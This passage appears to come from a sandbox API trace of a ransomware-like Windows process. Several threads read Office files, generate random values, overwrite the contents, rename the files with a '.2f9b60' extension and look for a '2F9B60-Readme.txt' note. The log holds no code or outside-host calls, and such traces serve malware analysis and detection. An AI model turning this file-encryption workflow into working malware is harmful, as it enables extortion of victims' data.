Flags=0x0, BaseAddress=0x204fe140) returned 1 [0141.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe050) returned 1 [0141.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x4205a000 [0141.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061630 [0141.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe050 [0141.704] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe050) returned 1 [0141.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422889a0 [0141.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4228c5b0 [0141.705] ReadFile (in: hFile=0x1f44, lpBuffer=0x422889a0, nNumberOfBytesToRead=0x1963, lpNumberOfBytesRead=0x2bc5f6b0, lpOverlapped=0x0 | out: lpBuffer=0x422889a0*, lpNumberOfBytesRead=0x2bc5f6b0*=0x1963, lpOverlapped=0x0) returned 1 [0141.778] SetFilePointerEx (in: hFile=0x1f44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.778] WriteFile (hFile=0x1f44, lpBuffer=0x4228c5b0, nNumberOfBytesToWrite=0x1963, lpNumberOfBytesWritten=0x2bc5f6b4, lpOverlapped=0x0) [0179.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2960 [0179.990] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0bc0 [0179.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4228c5b0) returned 1 [0179.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422889a0) returned 1 [0179.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061630) returned 1 [0179.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a000) returned 1 [0179.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9e970 [0179.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x4205a000 [0179.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061630 [0179.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0bc0 [0179.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0179.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9eef0 [0179.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0bc0 [0179.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0c50 [0179.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0c50) returned 1 [0179.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061630) returned 1 [0179.995] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a000) returned 1 [0179.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11c) returned 0x42c21130 [0179.996] SetFilePointerEx (in: hFile=0x1f44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0179.996] WriteFile (in: hFile=0x1f44, lpBuffer=0x42c21130*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2bc5f7d0, lpOverlapped=0x0 | out: lpBuffer=0x42c21130*, lpNumberOfBytesWritten=0x2bc5f7d0*=0x11c, lpOverlapped=0x0) returned 1 [0206.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c21130) returned 1 [0206.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9eef0) returned 1 [0206.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb0bc0) returned 1 [0206.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9e970) returned 1 [0206.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2960) returned 1 [0206.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe0b0) returned 1 [0206.228] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe170) returned 1 [0206.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe1a0) returned 1 [0206.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x4311b920 [0206.229] wcscpy (in: _Dest=0x4311b920, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg" [0206.229] wcscat (in: _Dest=0x4311b920, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg.2f9b60" [0206.229] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg.2f9b60", NtPathName=0x2bc5f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24Images.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1ced12a0 [0223.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced12a0) returned 1 [0223.946] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43227ea0) returned 1 [0223.946] NtQueryInformationFile (in: FileHandle=0x1f44, IoStatusBlock=0x2bc5f858, FileInformation=0x2bc5f868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bc5f858, FileInformation=0x2bc5f868) returned 0x0 [0223.946] NtSetInformationFile (FileHandle=0x1f44, IoStatusBlock=0x2bc5f858, FileInformation=0x2bc5f868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0224.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4311b920) returned 1 [0224.545] FlushFileBuffers (hFile=0x1f44) returned 1 [0224.636] CloseHandle (hObject=0x1f44) returned 1 [0225.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1cd65a20 [0225.668] wcscpy (in: _Dest=0x1cd65a20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0225.668] wcscat (in: _Dest=0x1cd65a20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0225.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0225.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65a20) returned 1 [0225.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863170) returned 1 Thread: id = 1864 os_tid = 0xd38 [0133.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24imagesmask.bmp")) returned 0x20 [0134.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp", dwFileAttributes=0x20) returned 1 [0137.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\shared24x24imagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b50 [0140.035] GetFileSizeEx (in: hFile=0x1b50, lpFileSize=0x2bdafa60 | out: lpFileSize=0x2bdafa60*=5688) returned 1 [0140.035] SetFilePointerEx (in: hFile=0x1b50, liDistanceToMove=0x1634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.035] ReadFile (in: hFile=0x1b50, lpBuffer=0x2bdaf9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bdafa28, lpOverlapped=0x0 | out: lpBuffer=0x2bdaf9e0*, lpNumberOfBytesRead=0x2bdafa28*=0x4, lpOverlapped=0x0) returned 1 [0140.038] SetFilePointerEx (in: hFile=0x1b50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bdc0 [0140.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bdf0 [0140.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205be20 [0140.039] NtQuerySystemTime (in: CurrentTime=0x2bdaf920 | out: CurrentTime=0x2bdaf920*=132462177452746000) returned 0x0 [0140.039] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x645a802 [0140.039] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x18bef448 [0140.039] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x4ea0ef32 [0140.039] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x4ff7bbec [0140.039] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x1f834078 [0140.039] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x47ab2c73 [0140.039] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x2ea6b94f [0140.039] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x7c1fcc3a [0140.039] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x2ea6b94f [0140.039] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x304b344b [0140.039] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x2489b8d3 [0140.039] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x52bbcade [0140.039] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x6f39bf4f [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x20aa000a [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x5993e4a2 [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x2246e805 [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x572810f6 [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x24716488 [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x42f91d76 [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x677cae49 [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x53f6311b [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x278cf653 [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0xa5e7c7 [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x43494dfd [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x7c5bee72 [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x4056373c [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x3e4def64 [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x4e006d4d [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x7a380251 [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x77c133ee [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x507e432d [0140.040] RtlRandomEx (in: Seed=0x2bdaf910 | out: Seed=0x2bdaf910) returned 0x29902641 [0140.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205be50 [0140.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0140.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205be80 [0140.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0140.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205be20) returned 1 [0140.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bdc0) returned 1 [0140.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0140.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0140.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bdc0 [0140.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bdc0) returned 1 [0140.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42183100 [0140.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42186d10 [0140.053] ReadFile (in: hFile=0x1b50, lpBuffer=0x42183100, nNumberOfBytesToRead=0x1638, lpNumberOfBytesRead=0x2bdaf910, lpOverlapped=0x0 | out: lpBuffer=0x42183100*, lpNumberOfBytesRead=0x2bdaf910*=0x1638, lpOverlapped=0x0) returned 1 [0140.068] SetFilePointerEx (in: hFile=0x1b50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.068] WriteFile (hFile=0x1b50, lpBuffer=0x42186d10, nNumberOfBytesToWrite=0x1638, lpNumberOfBytesWritten=0x2bdaf914, lpOverlapped=0x0) [0170.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202606b0 [0170.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260470 [0170.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260470) returned 1 [0170.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42186d10) returned 1 [0170.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42183100) returned 1 [0170.879] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.880] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0170.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97800 [0170.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260470 [0170.881] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260470) returned 1 [0170.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97850 [0170.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260470 [0170.881] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604d0 [0170.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202604d0) returned 1 [0170.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.882] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x124) returned 0x42c20a10 [0170.883] SetFilePointerEx (in: hFile=0x1b50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0170.883] WriteFile (in: hFile=0x1b50, lpBuffer=0x42c20a10*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2bdafa30, lpOverlapped=0x0 | out: lpBuffer=0x42c20a10*, lpNumberOfBytesWritten=0x2bdafa30*=0x124, lpOverlapped=0x0) returned 1 [0200.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c20a10) returned 1 [0200.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97850) returned 1 [0200.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260470) returned 1 [0200.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97800) returned 1 [0200.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202606b0) returned 1 [0200.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bdf0) returned 1 [0200.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205be50) returned 1 [0200.018] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205be80) returned 1 [0200.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x431ecae0 [0200.019] wcscpy (in: _Dest=0x431ecae0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp" [0200.019] wcscat (in: _Dest=0x431ecae0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp.2f9b60" [0200.019] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp.2f9b60", NtPathName=0x2bdafa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\Shared24x24ImagesMask.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x1cecff60 [0223.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecff60) returned 1 [0223.959] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309e520) returned 1 [0223.959] NtQueryInformationFile (in: FileHandle=0x1b50, IoStatusBlock=0x2bdafab8, FileInformation=0x2bdafac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2bdafab8, FileInformation=0x2bdafac8) returned 0x0 [0223.959] NtSetInformationFile (FileHandle=0x1b50, IoStatusBlock=0x2bdafab8, FileInformation=0x2bdafac8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ecae0) returned 1 [0225.247] FlushFileBuffers (hFile=0x1b50) returned 1 [0225.544] CloseHandle (hObject=0x1b50) returned 1 [0225.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x202ad290 [0225.978] wcscpy (in: _Dest=0x202ad290, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0225.978] wcscat (in: _Dest=0x202ad290, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0225.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0225.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad290) returned 1 [0225.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278770) returned 1 Thread: id = 1865 os_tid = 0xd40 [0133.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Address.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\address.accft")) returned 0x20 [0133.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Address.accft", dwFileAttributes=0x20) returned 1 [0133.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType\\Address.accft" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype\\address.accft"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b44 [0133.067] GetFileSizeEx (in: hFile=0x1b44, lpFileSize=0x2bbdfdc0 | out: lpFileSize=0x2bbdfdc0*=4417) returned 1 [0133.067] SetFilePointerEx (in: hFile=0x1b44, liDistanceToMove=0x113d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.067] ReadFile (in: hFile=0x1b44, lpBuffer=0x2bbdfd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2bbdfd88, lpOverlapped=0x0 | out: lpBuffer=0x2bbdfd40*, lpNumberOfBytesRead=0x2bbdfd88*=0x4, lpOverlapped=0x0) returned 1 [0133.070] SetFilePointerEx (in: hFile=0x1b44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f60 [0133.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266de0 [0133.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266db0 [0133.071] NtQuerySystemTime (in: CurrentTime=0x2bbdfc80 | out: CurrentTime=0x2bbdfc80*=132462177383170000) returned 0x0 [0133.071] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x265bfd15 [0133.071] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x42eac54f [0133.071] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x3b5923b4 [0133.071] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x20c9dff5 [0133.071] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x12cf6774 [0133.071] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0xa331e87 [0133.071] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x7257d9f5 [0133.071] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x5afda55d [0133.071] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x456b19f1 [0133.071] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x565e09cf [0133.071] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x6f465582 [0133.071] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x6d52afe2 [0133.071] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x694b65de [0133.071] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x21238ea0 [0133.071] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x7b56996e [0133.071] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x1018b169 [0133.072] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x55ab5693 [0133.072] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x1da07932 [0133.072] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x41cc3c41 [0133.072] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x24c05b02 [0133.072] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x21768af9 [0133.072] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x4fcde548 [0133.072] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x71c4d202 [0133.072] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x6b1dea41 [0133.072] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x3f05771d [0133.072] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x342f663c [0133.072] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x7a11896a [0133.072] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x55d46048 [0133.072] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x54aacf84 [0133.072] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0xc6c52f1 [0133.072] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x655746b6 [0133.072] RtlRandomEx (in: Seed=0x2bbdfc70 | out: Seed=0x2bbdfc70) returned 0x73f4c748 [0133.084] ReadFile (in: hFile=0x1b44, lpBuffer=0x1cf35640, nNumberOfBytesToRead=0x1141, lpNumberOfBytesRead=0x2bbdfc70, lpOverlapped=0x0 | out: lpBuffer=0x1cf35640*, lpNumberOfBytesRead=0x2bbdfc70*=0x1141, lpOverlapped=0x0) returned 1 [0133.086] SetFilePointerEx (in: hFile=0x1b44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.086] 